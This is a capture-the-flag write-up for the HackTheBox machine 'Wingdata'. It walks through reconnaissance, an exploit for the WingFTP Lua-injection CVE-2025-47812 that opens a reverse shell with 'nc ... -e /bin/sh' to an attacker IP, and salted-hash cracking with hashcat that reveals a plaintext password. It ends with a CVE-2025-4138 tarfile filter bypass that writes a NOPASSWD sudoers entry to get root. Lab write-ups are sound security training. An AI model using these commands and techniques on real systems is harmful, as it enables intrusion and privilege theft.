HackTheBox: Wingdata

exploiting CVE-2025-47812 lua injection in WingFTP for RCE, cracking a salted sha256 hash, then abusing CVE-2025-4138 PATH_MAX overflow to escape tarfile filter and get root

reconnaisance

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ nmap -sC -sV 10.129.6.216
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-20 02:03 CDT
Nmap scan report for wingdata.htb (10.129.6.216)
Host is up (0.043s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
| 256 a1:fa:95:8b:d7:56:03:85:e4:45:c9:c7:1e:ba:28:3b (ECDSA)
|_ 256 9c:ba:21:1a:97:2f:3a:64:73:c1:4c:1d:ce:65:7a:2f (ED25519)
80/tcp open http Apache httpd 2.4.66
|_http-title: WingData Solutions
|_http-server-header: Apache/2.4.66 (Debian)
Service Info: Host: localhost; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.33 seconds
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
┌──(river㉿marcialwin11)-[~/htb/wingdata]
└─$ ffuf -u http://wingdata.htb -H 'Host: FUZZ.wingdata.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fc 301

/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/

v2.1.0-dev
________________________________________________

:: Method : GET
:: URL : http://wingdata.htb
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.wingdata.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response status: 301
________________________________________________

ftp [Status: 200, Size: 678, Words: 44, Lines: 10, Duration: 50ms]
:: Progress: [4989/4989] :: Job [1/1] :: 934 req/sec :: Duration: [0:00:05] :: Errors: 0 ::

wingftp version disclosure
wingftp with version disclosure

CVE-2025-47812 for foothold

tldr:

This vulnerability arises from improper handling of NULL bytes in the 'username'
parameter during login, leading to Lua code injection into session files. These maliciously crafted session files are subsequently executed when authenticated functionalities (e.g., /dir.html) are accessed, resulting in arbitrary command execution on the server with elevated privileges (root on Linux, SYSTEM on Windows). The exploit leverages a discrepancy between the string processing in c_CheckUser() (which truncates at NULL) and the session creation logic (which uses the full unsanitized username).

rce->revshell

1
2
3
4
5
6
$ python3 poc.py -u http://ftp.wingdata.htb -c "nc 10.10.15.90 4444 -e /bin/sh"

[*] Testing target: http://ftp.wingdata.htb
[+] Sending POST request to http://ftp.wingdata.htb/loginok.html with command: 'nc 10.10.15.90 4444 -e /bin/sh' and username: 'anonymous'
[+] UID extracted: b6ce6368025bd4dddef232c031238ce4f528764d624db129b32c21fbca0cb8d6
[+] Sending GET request to http://ftp.wingdata.htb/dir.html with UID: b6ce6368025bd4dddef232c031238ce4f528764d624db129b32c21fbca0cb8d6
1
$ nc -lvnp 4444

own wacky

interesting directory:

1
/opt/wftpserver/Data/1/users

ls yields:

1
2
3
4
5
anonymous.xml
john.xml
maria.xml
steve.xml
wacky.xml

wacky.xml yields:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
cat wacky.xml
<?xml version="1.0" ?>
<USER_ACCOUNTS Description="Wing FTP Server User Accounts">
<USER>
<UserName>wacky</UserName>
<EnableAccount>1</EnableAccount>
<EnablePassword>1</EnablePassword>
<Password>32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca</Password>
<ProtocolType>63</ProtocolType>
<EnableExpire>0</EnableExpire>
<ExpireTime>2025-12-02 12:02:46</ExpireTime>
<MaxDownloadSpeedPerSession>0</MaxDownloadSpeedPerSession>
<MaxUploadSpeedPerSession>0</MaxUploadSpeedPerSession>
<MaxDownloadSpeedPerUser>0</MaxDownloadSpeedPerUser>
<MaxUploadSpeedPerUser>0</MaxUploadSpeedPerUser>
<SessionNoCommandTimeOut>5</SessionNoCommandTimeOut>
<SessionNoTransferTimeOut>5</SessionNoTransferTimeOut>
<MaxConnection>0</MaxConnection>
<ConnectionPerIp>0</ConnectionPerIp>
<PasswordLength>0</PasswordLength>
<ShowHiddenFile>0</ShowHiddenFile>
<CanChangePassword>0</CanChangePassword>
<CanSendMessageToServer>0</CanSendMessageToServer>
<EnableSSHPublicKeyAuth>0</EnableSSHPublicKeyAuth>
<SSHPublicKeyPath></SSHPublicKeyPath>
<SSHAuthMethod>0</SSHAuthMethod>
<EnableWeblink>1</EnableWeblink>
<EnableUplink>1</EnableUplink>
<EnableTwoFactor>0</EnableTwoFactor>
<TwoFactorCode></TwoFactorCode>
<ExtraInfo></ExtraInfo>
<CurrentCredit>0</CurrentCredit>
<RatioDownload>1</RatioDownload>
<RatioUpload>1</RatioUpload>
<RatioCountMethod>0</RatioCountMethod>
<EnableRatio>0</EnableRatio>
<MaxQuota>0</MaxQuota>
<CurrentQuota>0</CurrentQuota>
<EnableQuota>0</EnableQuota>
<NotesName></NotesName>
<NotesAddress></NotesAddress>
<NotesZipCode></NotesZipCode>
<NotesPhone></NotesPhone>
<NotesFax></NotesFax>
<NotesEmail></NotesEmail>
<NotesMemo></NotesMemo>
<EnableUploadLimit>0</EnableUploadLimit>
<CurLimitUploadSize>0</CurLimitUploadSize>
<MaxLimitUploadSize>0</MaxLimitUploadSize>
<EnableDownloadLimit>0</EnableDownloadLimit>
<CurLimitDownloadLimit>0</CurLimitDownloadLimit>
<MaxLimitDownloadLimit>0</MaxLimitDownloadLimit>
<LimitResetType>0</LimitResetType>
<LimitResetTime>1762103089</LimitResetTime>
<TotalReceivedBytes>0</TotalReceivedBytes>
<TotalSentBytes>0</TotalSentBytes>
<LoginCount>2</LoginCount>
<FileDownload>0</FileDownload>
<FileUpload>0</FileUpload>
<FailedDownload>0</FailedDownload>
<FailedUpload>0</FailedUpload>
<LastLoginIp>127.0.0.1</LastLoginIp>
<LastLoginTime>2025-11-02 12:28:52</LastLoginTime>
<EnableSchedule>0</EnableSchedule>
</USER>
</USER_ACCOUNTS>

hardcoded password hash that we can crack !

cracking wacky’s password

banged my head against a wall for an hour, even switched from john to hashcat, still no luck

eventually came to the realization that the password hash might be salted

eventually ran this find + grep combo to try to find any salts:

1
find / -name "*.lua" 2>/dev/null | xargs grep -i "sha\|hash\|pass" 2>/dev/null

which yielded lots of slop, but also a few gems…

from ServerInterface.lua:

1
2
3
local temppass = admin.password.."WingFTP"
if c_GetAdminOptionInt(ADMIN_OPTION_ENABLE_SHA256) == 1 then
password_md5 = sha2(temppass)

and for users:

1
2
3
4
if c_GetOptionInt(domain, DOPTION_ENABLE_PASS_SALTING) == 1 then
temppass = user.password..salt_string
if c_GetOptionInt(domain, DOPTION_ENABLE_SHA256) == 1 then
password_md5 = sha2(temppass)

so admin is definitely sha256(password + "WingFTP", and users is sha256(password + salt_string, which is a dynamic salt so we need to find salt_string. basically back to square 1

searched for about an hour and a half for the salt, which is embarrassing actually because after pestering claude for 10 minutes i realized it’s actually a default salt with wingftp… the default salt is literally "WingFTP"

1
.\hashcat.exe -m 1410 -O "32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP" ..\rockyou.txt\rockyou.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
Approaching final keyspace - workload adjusted.

32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP:!#7Blushing^*Bride5

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1410 (sha256($pass.$salt))
Hash.Target......: 32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b87...ingFTP
Time.Started.....: Sat Mar 21 15:11:22 2026 (0 secs)
Time.Estimated...: Sat Mar 21 15:11:22 2026 (0 secs)
Kernel.Feature...: Optimized Kernel (password length 0-31 chars)
Guess.Base.......: File (..\rockyou.txt\rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........: 39670.7 kH/s (0.36ms) @ Accel:224 Loops:1 Thr:256 Vec:1
Speed.#02........: 5263.3 kH/s (1.00ms) @ Accel:1024 Loops:1 Thr:256 Vec:1
Speed.#*.........: 44933.9 kH/s
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 14344384/14344384 (100.00%)
Rejected.........: 3094/14344384 (0.02%)
Restore.Point....: 13700040/14344384 (95.51%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1
Restore.Sub.#02..: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#01...: 0831815070 -> $HEX[042a0337c2a156616d6f732103]
Candidates.#02...: 0834207037 -> 0831815085
Hardware.Mon.#01.: Temp: 52c Fan: 0% Util: 12% Core:2587MHz Mem:13801MHz Bus:4
Hardware.Mon.#02.: Temp: 0c Fan: 0% Util: 0% Core: 600MHz Mem:2400MHz Bus:16

Started: Sat Mar 21 15:11:20 2026
Stopped: Sat Mar 21 15:11:23 2026

user: wacky
password: !#7Blushing^*Bride5

privesc methodology & fails

1
2
3
4
5
6
7
wacky@wingdata:~$ sudo -l
Matching Defaults entries for wacky on wingdata:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User wacky may run the following commands on wingdata:
(root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *

checked what’s actually in that script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#!/usr/bin/env python3
import tarfile
import os
import sys
import re
import argparse

BACKUP_BASE_DIR = "/opt/backup_clients/backups"
STAGING_BASE = "/opt/backup_clients/restored_backups"

def validate_backup_name(filename):
if not re.fullmatch(r"^backup_\d+\.tar$", filename):
return False
client_id = filename.split('_')[1].rstrip('.tar')
return client_id.isdigit() and client_id != "0"

def validate_restore_tag(tag):
return bool(re.fullmatch(r"^[a-zA-Z0-9_]{1,24}$", tag))

def main():
parser = argparse.ArgumentParser(
description="Restore client configuration from a validated backup tarball.",
epilog="Example: sudo %(prog)s -b backup_1001.tar -r restore_john"
)
parser.add_argument(
"-b", "--backup",
required=True,
help="Backup filename (must be in /home/wacky/backup_clients/ and match backup_<client_id>.tar, "
"where <client_id> is a positive integer, e.g., backup_1001.tar)"
)
parser.add_argument(
"-r", "--restore-dir",
required=True,
help="Staging directory name for the restore operation. "
"Must follow the format: restore_<client_user> (e.g., restore_john). "
"Only alphanumeric characters and underscores are allowed in the <client_user> part (1–24 characters)."
)

args = parser.parse_args()

if not validate_backup_name(args.backup):
print("[!] Invalid backup name. Expected format: backup_<client_id>.tar (e.g., backup_1001.tar)", file=sys.stderr)
sys.exit(1)

backup_path = os.path.join(BACKUP_BASE_DIR, args.backup)
if not os.path.isfile(backup_path):
print(f"[!] Backup file not found: {backup_path}", file=sys.stderr)
sys.exit(1)

if not args.restore_dir.startswith("restore_"):
print("[!] --restore-dir must start with 'restore_'", file=sys.stderr)
sys.exit(1)

tag = args.restore_dir[8:]
if not tag:
print("[!] --restore-dir must include a non-empty tag after 'restore_'", file=sys.stderr)
sys.exit(1)

if not validate_restore_tag(tag):
print("[!] Restore tag must be 1–24 characters long and contain only letters, digits, or underscores", file=sys.stderr)
sys.exit(1)

staging_dir = os.path.join(STAGING_BASE, args.restore_dir)
print(f"[+] Backup: {args.backup}")
print(f"[+] Staging directory: {staging_dir}")

os.makedirs(staging_dir, exist_ok=True)

try:
with tarfile.open(backup_path, "r") as tar:
tar.extractall(path=staging_dir, filter="data")
print(f"[+] Extraction completed in {staging_dir}")
except (tarfile.TarError, OSError, Exception) as e:
print(f"[!] Error during extraction: {e}", file=sys.stderr)
sys.exit(2)

if __name__ == "__main__":
main()

for a bit i tried import hijacking, i figured since sudo allowed running Python3 with a specific script, i could try to drop a malicious tarfile.py file in /tmp, basically hoping python would import mine instead of stdlib. but this of course failed because Python 3.12 doesn’t include . in sys.path by default (rip)

then, i tried a symlink tar attack (manually), basically crafting a tar with a symlink pointing to /root/.ssh and writing authorized_keys through it. this would have worked on older Python but it got blocked

next, i tried a script overwrite, basically checking if i could just overwrite restore_backup_clients.py with malicious code, but we didn’t have write perms, only read+execute, so this failed

finally, i tried an absolute path tar entry, i tried a tar with /etc/passwd as the entry name, but also got blocked

CVE-2025-4138; why manual code auditing wins

naturally, i started to wonder why every single attempt i had was getting blocked. rather than pestering claude, i started closely reading & analyzing the code, step-by-step, piece-by-piece. i’ll break it down, and at the end i’ll explain what led me to finding the CVE

constants:

1
2
BACKUP_BASE_DIR = "/opt/backup_clients/backups"
STAGING_BASE = "/opt/backup_clients/restored_backups"

validate_backup_name(filename):

1
2
3
4
if not re.fullmatch(r"^backup_\d+\.tar$", filename):
return False
client_id = filename.split('_')[1].rstrip('.tar')
return client_id.isdigit() and client_id != "0"

enforces that the filename matches exactly backup_<number>.tar and that the number isn’t zero. essentially prevents me from passing in something like ../../../../../etc/passwd or an arbitrary filename as the backup arg

validate_restore_tag(tag):

1
return bool(re.fullmatch(r"^[a-zA-Z0-9_]{1,24}$", tag))

only allows alphanumeric+underscores, 1-24 chars. prevents path traversal in the restore directory name, so i can’t pass something like restore_../../etc/ for example

main()- argument passing:

1
2
parser.add_argument("-b", "--backup", ...)
parser.add_argument("-r", "--restore-dir", ...)

two required args, tar filename & restore directory tag. nothing special

main() - validation chain:

1
2
3
4
5
6
7
8
9
10
11
12
13
# 1. filename format check
if not validate_backup_name(args.backup): sys.exit(1)

# 2. file must actually exist in the hardcoded backups dir
backup_path = os.path.join(BACKUP_BASE_DIR, args.backup)
if not os.path.isfile(backup_path): sys.exit(1)

# 3. restore dir must start with "restore_"
if not args.restore_dir.startswith("restore_"): sys.exit(1)

# 4. tag after "restore_" must pass the regex
tag = args.restore_dir[8:]
if not validate_restore_tag(tag): sys.exit(1)

basically just 4 layers of input validation

main() - vulnerable part:

1
2
3
4
5
staging_dir = os.path.join(STAGING_BASE, args.restore_dir)
os.makedirs(staging_dir, exist_ok=True)

with tarfile.open(backup_path, "r") as tar:
tar.extractall(path=staging_dir, filter="data")

this is what got me wondering. at this point, the inputs are clean, the paths are controlled, there’s hardcoded base dirs, and even regex validation, but the contents of the tar file are never validated… it literally just trusts that filter="data" will prevent anything malicious inside the archive from escaping the staging dir.

this led me to wonder if there are any CVE’s for Python 3.12.3 that bypass this, which led me to discover 2 CVE’s
CVE-2025-4138 and CVE-2025-4517

both exploit a PATH_MAX overflow in os.path.realpath() to bypass filter="data", the only difference is that CVE-2025-4138 uses arbitrary symlink creation outside the extraction dir, whereas CVE-2025-4517 uses arbitrary filesystem writes outside the extraction dir

both achieve the same end result so it doesn’t really matter which you choose, but i went with CVE-2025-4138, specifically this PoC, it has an explanation at the top if you’re interested

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ python3 privesc.py -o /tmp/backup_1002.tar -u wacky

_____________ _______________ _______________ ________ .________ _____ ____________ ______
\_ ___ \ \ / /\_ _____/ \_____ \ _ \ \_____ \ | ____/ / | /_ \_____ \ / __ \
/ \ \/\ Y / | __)_ ______ / ____/ /_\ \ / ____/ |____ \ ______ / | || | _(__ < > <
\ \____\ / | \ /_____/ / \ \_/ \/ \ / \ /_____/ / ^ / |/ \/ -- \
\______ / \___/ /_______ / \_______ \_____ /\_______ \/______ / \____ ||___/______ /\______ /
\/ \/ \/ \/ \/ \/ |__| \/ \/

CVE-2025-4138 Auto-Sudo by kyakei

[*] Target User: wacky
[*] Target File: /etc/sudoers.d/wacky
[*] Payload: wacky ALL=(ALL) NOPASSWD: ALL

[+] Exploit generated successfully: /tmp/backup_1002.tar
[+] Size: 112640 bytes

[*] Next Steps:
1. Transfer this tar file to the target machine (if remote).
2. Wait for a privileged process (using vulnerable Python) to extract it.
3. OR, if you have a vulnerable SUID python script, run it against this tar.
4. Once extracted, run: 'sudo su' to get a root shell.
1
2
3
$ scp /tmp/backup_1002.tar wacky@wingdata.htb:/opt/backup_clients/backups/backup_1002.tar
wacky@wingdata.htb's password:
backup_1002.tar
1
2
3
4
5
6
wacky@wingdata:/tmp$ sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py -b backup_1002.tar -r restore_pwned
[+] Backup: backup_1002.tar
[+] Staging directory: /opt/backup_clients/restored_backups/restore_pwned
[+] Extraction completed in /opt/backup_clients/restored_backups/restore_pwned
wacky@wingdata:/tmp$ sudo su
root@wingdata:/tmp

THX FOR READING!!!